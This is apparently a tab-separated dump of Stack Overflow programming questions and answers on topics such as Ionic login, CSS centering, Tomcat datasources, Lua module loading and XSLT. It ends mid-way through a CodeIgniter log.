34325494	0	Ionic app needs to hit server not localhost to login and to test on device <p>I need to test my ionic app on a device and I can't log in. </p> <p>I am using ionic view. <a href="http://view.ionic.io/" rel="nofollow">http://view.ionic.io/</a></p> <p>I can login with my app on the browser and on the emulator. I ran <code>ionic upload</code> and my app is now available to view on the app BUT I can't login. I get the alert messages I set up, "Invalid Credentials".</p> <p>I think the reason is because my API call to login is to the local server.</p> <p><code>Route::get('/api/login/{username}/{password}', 'ApiV2Controller@login_user_or_admin');</code></p> <p><strong>and on the browser...</strong> </p> <p><code>http://localhost/api/login/username/userpassword</code></p> <p><strong>and on my Ionic app this is what the $http get looks like..</strong></p> <pre><code>self.login = function(userLogin, userPw) { var deferred = $q.defer(); $http.get("http://localhost/api/login" + "/" + userLogin + "/" + userPw) .success(function(result) { console.log(result); if (!result.result) { deferred.resolve(false); return false; } UserService.save(result.data); console.log("Login Credentials Submitted Succesfully!"); deferred.resolve(true); return true; }).error(function(data) { alert('Something went wrong'); deferred.resolve(data); }) return deferred.promise; }; //login() </code></pre> <p>I think that's the code in need of updates or what I need to reference so that someone can help me out.</p> <p>How do I approach this issue? What gets fixed first? The route in the API from local host to the actual website address?</p> <p>I would appreciate some pointers as to what I need to know or how to approach this issue and perhaps what needs to be added or refactored. </p> <p>P.S. could this be related to my issue? <a href="http://blog.ionic.io/handling-cors-issues-in-ionic/" rel="nofollow">http://blog.ionic.io/handling-cors-issues-in-ionic/</a></p>
26721875	0	 <p>CMD is not very flexible regarding data that it can operate on. Newlines fall under the category of special characters that are difficult to work with.</p> <p>This could be accomplished with PowerShell, which should be available on any recent version of Windows. There <em>is</em> an escape character in PoSH that could be used for this purpose (`n is a newline).</p> <pre><code>C:\&gt; PowerShell -ExecutionPolicy Bypass -NoProfile -Command "perl sub.pl -param1 -param2 """-param3`n^""" -param4" '-param1' '-param2' '-param3 ' '-param4' </code></pre> <p>I don't have myprog.exe, so I used <code>sub.pl</code>:</p> <pre><code>print("'".join("'\n'",@ARGV)."'"); </code></pre>
2005954	0	Center a position:fixed element <p>I would like to make a <code>position: fixed;</code> popup box centered to the screen with a dynamic width and height. I used <code>margin: 5% auto;</code> for this. Without <code>position: fixed;</code> it centers fine horizontally, but not vertically. After adding <code>position: fixed;</code>, it's even not centering horizontally.</p> <p>Here's the complete set:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="false" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.jqbox_innerhtml { position: fixed; width: 500px; height: 200px; margin: 5% auto; padding: 10px; border: 5px solid #ccc; background-color: #fff; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="jqbox_innerhtml"&gt; This should be inside a horizontally and vertically centered box. &lt;/div&gt;</code></pre> </div> </div> </p> <p>How do I center this box in screen with CSS?</p>
634013	0	 <p>If you are trying to return the script name, try:</p> <pre><code>Request.CurrentExecutionFilePath </code></pre> <p>and if you just wanted the script name without the path, you could use:</p> <pre><code>Path.GetFileName(Request.CurrentExecutionFilePath) </code></pre> <p><em>Path.GetFileName() requires the System.IO namespace</em></p>
9423299	0	 <p>Guy's answer above seems to fix the problem compiling Ruby in RVM with XCode 4.2 installed completely, and removed for me to install GCC from <a href="https://github.com/kennethreitz/osx-gcc-installer" rel="nofollow">https://github.com/kennethreitz/osx-gcc-installer</a> . This is preferable for users needing to have both RVM and XCode 4.2 installed.</p>
33799101	0	 <p>You don't have to save the modified object.</p> <p>Once setProperty has been called, your node property has been set in the current Transaction.</p> <p>The only thing you are missing here is to close the Transaction, check this (from <a href="http://neo4j.com/docs/stable/javadocs/" rel="nofollow">Neo4j Javadoc</a>) about <code>Transaction.close()</code>:</p> <blockquote> <p>Commits or marks this transaction for rollback, depending on whether success() or failure() has been previously invoked. All ResourceIterables that where returned from operations executed inside this transaction will be automatically closed by this method. This method comes from AutoCloseable so that a Transaction can participate in try-with-resource statements. It will not throw any declared exception. Invoking this method (which is unnecessary when in try-with-resource statement) or finish() has the exact same effect.</p> </blockquote>
16879702	0	 <p>I think you have to Override this two Methods in <strong>GameFragment</strong> </p> <pre><code> @Override public void onAttach(Activity activity) { super.onAttach(activity); if (activity instanceof Listener ) { mListener = (Listener) activity; } else { throw new ClassCastException(activity.toString() + " must implemenet GameFragment.Listener"); } } @Override public void onDetach() { super.onDetach(); mListener= null; } </code></pre> <p>for more detail Read this <a href="http://www.vogella.com/articles/AndroidFragments/article.html" rel="nofollow">Tutorial</a></p> <p><strong>EDIT</strong></p> <p>And Don't Forget to Initialize Fragment in Activity</p> <blockquote> <pre><code> // Create an instance of GameFragment GameFragment mGameFragment= new GameFragment(); // Add the fragment to the 'fragment_container' Layout getSupportFragmentManager().beginTransaction() .add(R.id.fragment_container, mGameFragment).commit(); </code></pre> </blockquote>
1413226	0	 <p>I'd do this:</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function(){ $('.box').hide(); $('#dropdown').change(function() { $('.box').hide(); $('#div' + $(this).val()).show(); }); }); &lt;/script&gt; &lt;form&gt; &lt;select id="dropdown" name="dropdown"&gt; &lt;option value="0"&gt;Choose&lt;/option&gt; &lt;option value="area1"&gt;DIV Area 1&lt;/option&gt; &lt;option value="area2"&gt;DIV Area 2&lt;/option&gt; &lt;option value="area3"&gt;DIV Area 3&lt;/option&gt; &lt;/select&gt; &lt;/form&gt; &lt;div id="divarea1" class="box"&gt;DIV Area 1&lt;/div&gt; &lt;div id="divarea2" class="box"&gt;DIV Area 2&lt;/div&gt; &lt;div id="divarea3" class="box"&gt;DIV Area 3&lt;/div&gt; </code></pre>
12826909	0	Hiding Etag to use cache-control in jboss for static content <p>I need to disable Etag header in response so that I can set the cache-control to a large value for static content for a web app which does not get updated say in 6 months. I am using jboss. I found a way to create filter to add the cache-control header. is there a way to not set the etag, a setting in configuration file or using filter.</p>
30310467	0	 <p>I was getting a similar error when the file used to create the output stream already had data. If you are looking to <strong>append</strong> data to the file, you must indicate so in the file output stream object:</p> <pre><code>FileOutputStream out = new FileOutputStream("/Users/muratcanpinar/Downloads/KNVBJ/build/classes/knvbj/ClubInformation.xlsx", true); </code></pre> <p>When you do this, <code>wb.write(out)</code> should work as expected.</p>
35507868	0	 <p>GCM notifications work perfectly with debug APKs.</p> <p>There is something wrong in the client code or the server code.</p> <p>If you are getting a success response from Google server AND if you are able to see the logcat logs of the received GCM message in your GCM intent service then your server side code is working well and there is probably an error in the client code. If you receive a failure message from the the Google server or do not see logs, then the issue is in your server code.</p> <p>Note: You need to use the server key.</p> <p>You can use this <a href="http://techzog.com/development/gcm-notification-test-tool-android/" rel="nofollow">GCM Test Tool</a> as the server to test if your client is working or not.</p>
15236773	0	How do I prevent the CSS :after pseudo-element from overlapping other content? <p>I have a thumbnail gallery that I am trying to lay out using display:inline-block instead of floats so that I can use the :after pseudo to include a caption via attr(). The layout works but the :after "object" overlaps items "below" it.</p> <p>Here is my HTML:</p> <pre><code>&lt;div id="bg"&gt; &lt;div class="thumbs"&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="This is the outside of the house." /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="This is another example of a description. This is another example of a description. This is another example of a description. This is another example of a description." /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Here is yet another description." /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;a href="img.png" style="background-image:url('img.png')" title="Image 001" /&gt;&lt;/a&gt; &lt;/div&gt; </code></pre> <p>Here is my CSS:</p> <pre><code>.thumbs a{ width:120px; height:120px; display:inline-block; border:7px solid #303030; box-shadow:0 1px 3px rgba(0,0,0,0.5); border-radius:4px; margin: 6px 6px 40px; position:relative; text-decoration:none; background-position:center center; background-repeat: no-repeat; background-size:cover; -moz-background-size:cover; -webkit-background-size:cover; vertical-align:top; } .thumbs a:after{ background-color: #303030; border-radius: 7px; bottom: -136px; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); color: #FFFFFF; content: attr(title); display: inline-block; font-size: 10px; max-width: 90px; overflow: auto; padding: 2px 10px; position: relative; text-align: center; white-space: no-wrap; } </code></pre> <p>Here is a fiddle showing an example: <a href="http://jsfiddle.net/befxe/9/" rel="nofollow">http://jsfiddle.net/befxe/9/</a></p> <p>As you can see, the second description overlaps the thumbnail that is below it. Is it possible to make it "push" the second row down (towards the bottom of the screen) automatically depending on the size of the :after content? I've tried setting both ".thumbs a" and ".thumbs a:after" to various display types (inline-block, block, etc.) and changing the positioning to no avail. I also tried to wrap the whole "a" in a div and changing the div's display types, but that didn't work either.</p> <p>Pseudo-elements like :before and :after seem like a great way to handle minor content additions like this, but their functionality in terms of layout is really confusing me as they don't seem to "work" like other DOM objects. (And for good reason, I suppose, as they aren't really DOM objects. :P)</p> <p>Any suggestions?</p>
33917269	0	Robots.txt Query String - Couldn't Disallow <p>I have url </p> <p><a href="http://www.website.com/shopping/books/?b=9" rel="nofollow">http://www.website.com/shopping/books/?b=9</a></p> <p>I have disallow /?b=9 from robots.txt</p> <p>as</p> <p>User-agent: * Disallow: /?b=9</p> <p>But when i test this from Google Webmaster Robots.txt Test Tools. </p> <p>Showing allowed while it should be display disallowed...</p> <p>Please tell any wrong with my robots.txt</p> <p>URL - <a href="http://www.website.com/shopping/books/?b=9" rel="nofollow">http://www.website.com/shopping/books/?b=9</a></p> <p>User-agent: * Disallow: /?b=9</p> <hr> <p>Also </p> <p>there /?b=9 this will be same in all cases and /shopping/books/ will be change with different category.</p> <p>How to Block this types of string ?</p> <p>Disallow: /?b=9 </p> <p>Is it correct ?</p>
1776316	0	 <p>(big edit...) Playing with the code a bit more this seems to work:</p> <pre><code>import java.util.ArrayList; import java.util.List; public class Main { public static void main(final String[] argv) { final int startValue; final int iterations; final List&lt;String&gt; list; startValue = Integer.parseInt(argv[0]); iterations = Integer.parseInt(argv[1]); list = encodeAll(startValue, iterations); System.out.println(list); } private static List&lt;String&gt; encodeAll(final int startValue, final int iterations) { final List&lt;String&gt; allEncodings; allEncodings = new ArrayList&lt;String&gt;(); for(int i = 0; i &lt; iterations; i++) { try { final int value; final String str; final String encoding; value = i + startValue; str = String.format("%06d", value); encoding = encoding(str); allEncodings.add(encoding); } catch(final BadNumberException ex) { // do nothing } } return allEncodings; } public static String encoding(String str) throws BadNumberException { final int[] digit; final StringBuilder s; digit = new int[10]; for(int i = 0; i &lt; 6; i++) { digit[i] = Integer.parseInt(String.valueOf(str.charAt(i))); } digit[6] = ((4*digit[0])+(10*digit[1])+(9*digit[2])+(2*digit[3])+(digit[4])+(7*digit[5])) % 11; digit[7] = ((7*digit[0])+(8*digit[1])+(7*digit[2])+(digit[3])+(9*digit[4])+(6*digit[5])) % 11; digit[8] = ((9*digit[0])+(digit[1])+(7*digit[2])+(8*digit[3])+(7*digit[4])+(7*digit[5])) % 11; digit[9] = ((digit[0])+(2*digit[1])+(9*digit[2])+(10*digit[3])+(4*digit[4])+(digit[5])) % 11; // Insert Parity Checking method (Vandermonde Matrix) s = new StringBuilder(); for(int i = 0; i &lt; 9; i++) { s.append(Integer.toString(digit[i])); } if(digit[6] == 10 || digit[7] == 10 || digit[8] == 10 || digit[9] == 10) { throw new BadNumberException(str); } return (s.toString()); } } class BadNumberException extends Exception { public BadNumberException(final String str) { super(str + " cannot be encoded"); } } </code></pre> <p>I prefer throwing the exception rather than returning a special string. In this case I ignore the exception which normally I would say is bad practice, but for this case I think it is what you want.</p>
34650796	0	"nth not supported on this type" exception setting up Elastisch connection <p>I'm trying to work through the [Elastisch tutorial] to create some test data in an ElasticSearch instance running on a VM.</p> <p>I am running this code:</p> <pre><code>(ns content-rendering.core (:require [clojurewerkz.elastisch.native :as esr] [clojurewerkz.elastisch.native.index :as esi])) (defn populate-test-data [] (let [conn (esr/connect "http://10.10.10.101:9200")] (esi/create conn "test"))) (populate-test-data) </code></pre> <p>And I am seeing the following exception when I try and execute the code in the namespace using either Cider in emacs or from a Leiningen repl:</p> <pre><code>Caused by java.lang.UnsupportedOperationException nth not supported on this type: Character RT.java: 933 clojure.lang.RT/nthFrom RT.java: 883 clojure.lang.RT/nth native.clj: 266 clojurewerkz.elastisch.native/connect core.clj: 7 content-rendering.core/populate-test-data core.clj: 10 content-rendering.core/eval5078 </code></pre> <p>If I require the Elastisch namespaces into a repl and run something like the following, it works fine:</p> <pre><code>(def conn (esr/connect "http://10.10.10.101:9200")) (esi/create conn "test") ; {:acknowledged true} </code></pre> <p>Any ideas what I'm missing here?</p>
23557108	0	 <p>for non GNU sed (or with <code>--posix</code> option) where <code>|</code> is not available</p> <p>If TGG is not occuring or could be included</p> <pre><code>sed 's/T[AG][AG]$//' YourFile </code></pre> <p>if not</p> <pre><code>sed 's/T[AG]A$//;s/TAA$//' YourFile </code></pre>
2239089	0	create personal MySQL Database <p>What's a good way to approaching this? I would like to create a local database, just on my laptop (for now), so that I can teach myself some PHP and how to interact with databases.</p> <p>... preferably a free approach...</p>
2586663	0	Lablayout and Linairlayout <p>I am trying to make a app with the tuotrail of the developerspage, then I would like to display a main.xml in a tabview, instead the textview, wich in the tuotrail,is in the activity. How do I tell my tab in activity do display the main.xml?</p> <p>Thanks!</p>
18748770	0	 <p>If you have a huge amount of "if" or if you want to put this information in a settings file then I would suggest you create a class to store this information.</p> <pre><code>Class FromTime ToTime Value values.Add(New Class(0, 499, .75)); values.Add(New Class(500, 999, .85)); values.Add(New Class(1000, 9999, 1)); </code></pre> <p>Then you loop each items in the collection</p> <pre><code>if(object.Time &gt;= curItem.FromTime &amp;&amp; object.Time &lt;= curItem.ToTime) rate = curItem.Value; </code></pre> <p>You could always have nullable values or set -1 as infinite.</p> <pre><code>values.Add(New Class(-1, 0, 0)); values.Add(New Class(0, 499, .75)); values.Add(New Class(500, 999, .85)); values.Add(New Class(1000, -1, 1)); if((object.Time &gt;= curItem.FromTime || curItem.FromTime == -1) &amp;&amp; (object.Time &lt;= curItem.ToTime || curItem.ToTime == -1)) rate = curItem.Value; </code></pre>
9312322	0	 <p>You need to annotate the collection with <code>DataMember</code> or it will not get serialized at all. You will also need to annotate the <code>DataContract</code> with <code>KnownType(typeof(ChildCollection))</code> as otherwise it doesn't know what type of "thing" the <code>ICollection</code> is and therefore how to serialize it</p> <p>Similarly you will need to add <code>[DataMember]</code> to <code>Child_A</code> <code>Name</code> property or it will not get serialized</p>
36940466	0	 <p>I faced the same situation and simply restarted Eclipse and no more 404 afterward</p>
17924614	0	 <p>I'm pretty sure the problem is calling 'glGetString(GL_EXTENSIONS)' which has been deprecated in OpenGL 3.0 and removed in core profile 3.1. The correct approach is to (<a href="http://www.opengl.org/discussion_boards/showthread.php/165539-GL_EXTENSIONS-replacement">From OpenGL Forum</a>):</p> <pre><code>GLint n, i; glGetIntegerv(GL_NUM_EXTENSIONS, &amp;n); for (i = 0; i &lt; n; i++) { printf("%s\n", glGetStringi(GL_EXTENSIONS, i); } </code></pre>
37567465	0	Howe to delete table rows with text content <p>I try to delete each table row where td has class=feldtyp1 and the text content is <code>&lt;p&gt;News&lt;/p&gt;</code>.</p> <p>I am already come so far that the whole row is deleted. Now I still need the query whether the cell with the class feldtyp1 containing textual content News</p> <p>Could someone help me?</p> <p><strong>Part of my source XML</strong></p> <pre><code>&lt;table class="feldtyp"&gt; &lt;tr&gt; &lt;td class="feldtyp1"&gt;&lt;p&gt;Feldtyp&lt;/p&gt;&lt;/td&gt; &lt;td class="feldtyp2"&gt;&lt;p&gt;Text&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="feldtyp1"&gt;&lt;p&gt;News&lt;/p&gt;&lt;/td&gt; &lt;td class="feldtyp2"&gt;&lt;p&gt;Text&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p><strong>My current XLS deletes all rows</strong></p> <pre><code>&lt;xsl:output omit-xml-declaration="yes"/&gt; &lt;xsl:template match="node()|@*"&gt; &lt;xsl:copy&gt; &lt;xsl:apply-templates select="node()|@*"/&gt; &lt;/xsl:copy&gt; &lt;/xsl:template&gt; &lt;xsl:template match="tr|td[@class='feldtyp1']"/&gt; &lt;xsl:template match="tr|td[@class='feldtyp2']"/&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p><strong>The desired result should look like this</strong></p> <pre><code>&lt;table class="feldtyp"&gt; &lt;tr&gt; &lt;td class="feldtyp1"&gt;&lt;p&gt;Feldtyp&lt;/p&gt;&lt;/td&gt; &lt;td class="feldtyp2"&gt;&lt;p&gt;Text&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>
17015812	0	 <p>Do you mean something like this?</p> <pre><code>List&lt;Cabbage&gt; = new ArrayList&lt;Cabbage&gt;(); // an arraylist that holds cabbages (good or otherwise) N_GOOD_CABBAGES = 10 //in a separate interface for(int j = 0; j &lt; N_GOOD_CABBAGES; j++){ Cabbage good = new GoodCabbage(); // make a good cabbage cabbages.add(good); // add it to the list } </code></pre>
32874108	1	How to save photos using instagram API and python <p>I'm using the Instagram API to obtain photos taken at a particular location using the python 3 code below:</p> <pre><code>import urllib.request wp = urllib.request.urlopen("https://api.instagram.com/v1/media/search?lat=48.858844&amp;lng=2.294351&amp;access_token="ACCESS TOKEN") pw = wp.read() print(pw) </code></pre> <p>This allows me to retrieve all the photos. I wanted to know how I can save these on my computer. </p> <p>An additional question I have is, is there any limit to the number of images returned by running the above? Thanks!</p>
1916758	0	tomcat oracle datasource <p>I have apache tomcat 5.5.28 on my windows box and I am trying to deploy a web application (WAR) which works fine on other servers.</p> <p>However I am having trouble creating a datasource. I am not sure of the format. The db is oracle.</p> <p>Here is what I have in server.xml.</p> <pre><code> &lt;GlobalNamingResources&gt; &lt;Environment name="simpleValue" type="java.lang.Integer" value="30"/&gt; &lt;Resource name="tomdb11" type="oracle.jdbc.pool.OracleDataSource" maxActive="4" maxIdle="2" username="tomdb11" maxWait="5000" driverClassName="oracle.jdbc.driver.OracleDriver" validationQuery="select * from dual" password="remotedb11" url="jdbc:oracle:thin:@dbserver:1521:orcl"/&gt; &lt;Resource auth="Container" description="User database that can be updated and saved" name="UserDatabase" type="org.apache.catalina.UserDatabase" factory="org.apache.catalina.users.MemoryUserDatabaseFactory" pathname="conf/tomcat-users.xml"/&gt; &lt;/GlobalNamingResources&gt; </code></pre> <p>How do I access this in the web.xml where usually what I have which works in other servers is</p> <pre><code>&lt;context-param&gt; &lt;param-name&gt;databaseUser&lt;/param-name&gt; &lt;param-value&gt;tomdb11&lt;/param-value&gt; &lt;/context-param&gt; &lt;context-param&gt; &lt;param-name&gt;databasePassword&lt;/param-name&gt; &lt;param-value&gt;tomdb11&lt;/param-value&gt; &lt;/context-param&gt; &lt;context-param&gt; &lt;param-name&gt;databaseSchema&lt;/param-name&gt; &lt;param-value&gt;TOMDBADMINN11&lt;/param-value&gt; &lt;/context-param&gt; </code></pre> <p>Also am I missing something?</p> <p><strong>Edit</strong>: I get the following exception:</p> <pre><code>javax.naming.NameNotFoundException: Name tomdb11 is not bound in this Context at org.apache.naming.NamingContext.lookup(NamingContext.java:770) at org.apache.naming.NamingContext.lookup(NamingContext.java:153) at org.apache.naming.SelectorContext.lookup(SelectorContext.java:137) at javax.naming.InitialContext.lookup(Unknown Source) at com.taw.database.DatabaseService.&lt;init&gt;(DatabaseService.java:19) at com.taw.database.DatabaseServices.init(DatabaseServices.java:40) </code></pre>
4471044	0	 <p>The 3.5 version of the Framework is sufficient. However, you will need the Crystal viewer control to view any Crystal report (assuming you are displaying Crystal reports to a user via a WinForms).</p>
29513234	0	PDE development: How to find out where a plugin from my target platform originates from? <p>In my eclipse project I have set a target platform via target definition file.</p> <p>I've noticed that a specific plug-in is present in two different versions: 1.7.9 and 1.7.2. I checked this by doing "Window -> Show View -> Plug-in Development -> Target Platform State" and search for the plug-in name.</p> <p>Both versions appear and they are located in <code>.metadata\.plugins\org.eclipse.pde.core\.bundle_pool\plugins</code></p> <p>I want to get rid of 1.7.2, but when I open the target definition file it does only refer to the 1.7.9 version:</p> <pre><code>&lt;unit id="slf4j.api" version="1.7.9"/&gt; </code></pre> <p>How can I find out where the plug-in originates from, in order to get rid of it?</p>
30855626	0	 <p>There are a couple problems with your flow.</p> <ol> <li><p>the Function node is not passing through the message object it received - it is returning a new message object with just the payload. This means the original request/response objects provided by the HTTP In node are not being passed through to the HTTP Response node. This means the flow cannot reply to the original request.</p></li> <li><p>the Template node is trying to insert <code>{{ msg.payload }}</code>. As per the examples in the sidebar help for the node, it should just be <code>{{ payload }}</code>.</p></li> </ol>
15471056	0	Extracting from the right of a string in objective C <p>This seems to be what I'm looking for but in reverse. I would like the <code>string</code> to extract from the right not from the left. The example extracting from the left is given:</p> <pre><code>NSString *source = @"0123456789"; NSString *firstFour = [source substringToIndex:4]; Output: "0123" </code></pre> <p>I'm looking for a version of the below that works from the right (what is below doesn't work)</p> <pre><code>NSString *source = @"0123456789"; NSString *lastFour = [source substringToIndex:-4]; Output: "6789" </code></pre> <p>the <code>[source substringFromIndex:6];</code> won't work because sometimes I will get an answer that is 000123456789 or 456789 or 6789. In all cases I just need the last 4 characters from the string so that I can convert it to a number.</p> <p>there must be a better way than a bunch of if else statements?</p>
39237567	0	 <p>Well according to the <a href="https://www.lua.org/manual/5.2/manual.html#pdf-package.searchers" rel="nofollow">Lua documentation on the require call</a> (using Lua 5.2 here), there are a few places the loader looks for these loadable modules.</p> <p>It seems that <code>require()</code> uses what are called "searchers" (docs linked to in above) to determine where to find these modules. There are four searchers in total. From the docs:</p> <blockquote> <p>The first searcher simply looks for a loader in the package.preload table.</p> <p>The second searcher looks for a loader as a Lua library, using the path stored at package.path. The search is done as described in function package.searchpath.</p> <p>The third searcher looks for a loader as a C library, using the path given by the variable package.cpath. Again, the search is done as described in function package.searchpath. For instance, if the C path is the string <code>"./?.so;./?.dll;/usr/local/?/init.so"</code> the searcher for module foo will try to open the files <code>./foo.so</code>, <code>./foo.dll</code>, and <code>/usr/local/foo/init.so</code>, in that order. Once it finds a C library, this searcher first uses a dynamic link facility to link the application with the library. Then it tries to find a C function inside the library to be used as the loader. The name of this C function is the string "luaopen_" concatenated with a copy of the module name where each dot is replaced by an underscore. Moreover, if the module name has a hyphen, its prefix up to (and including) the first hyphen is removed. For instance, if the module name is a.v1-b.c, the function name will be luaopen_b_c.</p> <p>The fourth searcher tries an all-in-one loader. It searches the C path for a library for the root name of the given module. For instance, when requiring a.b.c, it will search for a C library for a. If found, it looks into it for an open function for the submodule; in our example, that would be luaopen_a_b_c. With this facility, a package can pack several C submodules into one single library, with each submodule keeping its original open function.</p> </blockquote> <p>The searcher of use to us is the third one: it is used for any shared libraries (.dll or .so) which is generally how our custom C modules are built.</p> <p>Using the <em>template</em> string (the one with the question marks), the searcher will look in each of the specified paths, substituting the argument of <code>require()</code> in place of the question mark. In order to specify the path for this third searcher, one must set (or append to) <a href="https://www.lua.org/manual/5.2/manual.html#pdf-package.cpath" rel="nofollow"><code>package.cpath</code></a> and then call <code>require()</code>.</p> <p>So perhaps you have a directory structure as</p> <pre><code>- ROOT |-lua |-bin </code></pre> <p>where <code>lua</code> contains <code>script.lua</code> and <code>bin</code> contains <code>mylib.so</code></p> <p>To load <code>mylib.so</code>, you just need these two lines of code in <code>script.lua</code>:</p> <pre><code>package.cpath = '/ROOT/bin/?.so;' .. package.cpath libfuncs = require('mylib') </code></pre> <p>NOTE: Notice the semicolon. If you append (as opposed to the prepending above), make sure to lead with the semicolon on your added path. It is not there buy default. Otherwise your new path will be merged to the current default cpath, which is just <code>./?.so</code>.</p>
11431333	0	 <p>Here is an example. Suppose we have 2 classes:</p> <pre><code>class A { public String getName() { return "A"; } } class B extends A { public String getName() { return "B"; } } </code></pre> <p>If we now do the following:</p> <pre><code>public static void main(String[] args) { A myA = new B(); System.out.println(myA.getName()); } </code></pre> <p>we get the result</p> <pre><code>B </code></pre> <p>If Java didn't have <code>virtual method invocation</code>, it would determine at compile time that the <code>getName()</code> to be called is the one that belongs to the <code>A</code> class. Since it doesn't, but determines this at runtime depending on the actual class that <code>myA</code> points to, we get the above result.</p> <p><strong>[EDIT to add (slightly contrived) example]</strong><br> You could use this feature to write a method that takes any number of <code>Object</code>s as argument and prints them like this:</p> <pre><code>public void printObjects(Object... objects) { for (Object o: objects) { System.out.println(o.toString()); } } </code></pre> <p>This will work for any mix of Objects. If Java didn't have <code>virtual method invocation</code>, all Objects would be printed using Object´s <code>toString()</code> which isn't very readable. Now instead, the <code>toString()</code> of each actual class will be used, meaning that the printout will usually be much more readable.</p>
24010124	0	How to make a dummy security-domain in JBoss EAP 6.2? <p>We are using the JBoss supplied generic resource adapter to connect to JMS queues on Tibco EMS server. We don't use any authentication to connect to Tibo EMS, that is we connect without username and password. However, the configuration of the resource adapter requires a recovery element (for XA recovery) that specifies some kind of authentication, see [1].</p> <p>Someone mentioned that we might be able to define a custom security domain that always authenticates or returns empty username and passwords. (Specifying empty username or password directly in the recover element is not allowed)</p> <p>Does anyone know how to make such a dummy security-domain?</p> <p>We're running JBoss EAP 6.2.2.</p> <p>[1] <a href="https://access.redhat.com/site/solutions/361463" rel="nofollow">https://access.redhat.com/site/solutions/361463</a></p>
24891432	0	AngularJS Leaflet getMap() doesn't work <p>After adding Leaflet to my AngularJS app:</p> <pre><code>&lt;leaflet id="map" defaults="defaults" center="center" bounds="bounds" controls="controls" event-broadcast="events"&gt;&lt;/leaflet&gt; </code></pre> <p>And setting it up:</p> <pre><code>// Initialise the feature group to store editable layers var drawnItems = new L.FeatureGroup(); // Initialise the draw control var drawControl = new L.Control.Draw({ position: 'topright', edit: { featureGroup: drawnItems } }); // Configure Leaflet angular.extend($scope, { defaults: { zoomControlPosition: 'topright', minZoom: 3, tileLayerOptions: { detectRetina: true, reuseTiles: true, attribution: '&lt;a href="http://osm.org"&gt;OpenStreetMaps&lt;/a&gt;' } }, center: {}, controls: { custom: [drawControl] }, events: { map: { enable: ['click'] } } }); </code></pre> <p>Following this code it doesn't get evaluated (no error shown though):</p> <pre><code>leafletData.getMap().then( function (map) { alert('I have accessed the map.'); } ); </code></pre> <p>This should show me an alert straight away, although nothing happens.</p> <p>If I delay this previous code, for example, running it in a function on a button click, it works!</p> <p>Does anyone knows what could be a problem?</p> <p>Seeing example, it should work: <a href="https://github.com/tombatossals/angular-leaflet-directive/blob/master/examples/control-draw-example.html" rel="nofollow">https://github.com/tombatossals/angular-leaflet-directive/blob/master/examples/control-draw-example.html</a></p> <h1>PARTLY SOLVED</h1> <p>Removing ID from <code>leaflet</code> HTML tag solved the problem. Must be a bug.</p>
2267608	0	 <p>In SQL 2005 and earlier, you could not modify an existing column to become an identity column. I deem it very very unlikely that MS changed that in 2008.</p>
13823871	0	php - escape string <p>I'm busy with a PHP project that has to work in different languages, so I made a system with strings that are read from files, but when I want to read a file like this:</p> <p>Username/ \n password wrong</p> <p>It shows the \n instead of escaping it to a newline. How can I let PHP do this?</p> <p>Thans already, DirkWillem</p>
38831791	0	Codeigniter URI issue...No URI present. Default controller set <p>I have an issue with my codeigniter application deployed on an EC2 instance on Amazon.</p> <pre><code>$config['base_url'] = 'http://XX.XX.XXX.107/'; $config['index_page'] = 'index.php'; </code></pre> <p>This is my route.php (without any particular rule)</p> <pre><code>$route['default_controller'] = 'home'; $route['404_override'] = ''; $route['translate_uri_dashes'] = FALSE; </code></pre> <p>Actually if I call <a href="http://xx.xx.xxx.107/" rel="nofollow">http://xx.xx.xxx.107/</a> it correctly show my first page (it loads my default controller Home.php and shows home.php view). But if I call for example <a href="http://52.59.107.107/index.php/Home/sign_in_form" rel="nofollow">http://52.59.107.107/index.php/Home/sign_in_form</a>, instead of showing sign_in form view, it shows again home view.</p> <p>I enabled log, and this is what I get</p> <pre><code>INFO - 2016-08-08 15:43:25 --&gt; Config Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Hooks Class Initialized DEBUG - 2016-08-08 15:43:25 --&gt; UTF-8 Support Enabled INFO - 2016-08-08 15:43:25 --&gt; Utf8 Class Initialized INFO - 2016-08-08 15:43:25 --&gt; URI Class Initialized DEBUG - 2016-08-08 15:43:25 --&gt; No URI present. Default controller set. INFO - 2016-08-08 15:43:25 --&gt; Router Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Output Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Security Class Initialized DEBUG - 2016-08-08 15:43:25 --&gt; Global POST, GET and COOKIE data sanitized INFO - 2016-08-08 15:43:25 --&gt; Input Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Language Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Loader Class Initialized INFO - 2016-08-08 15:43:25 --&gt; Helper loaded: file_helper INFO - 2016-08-08 15:43:25 --&gt; Helper loaded: 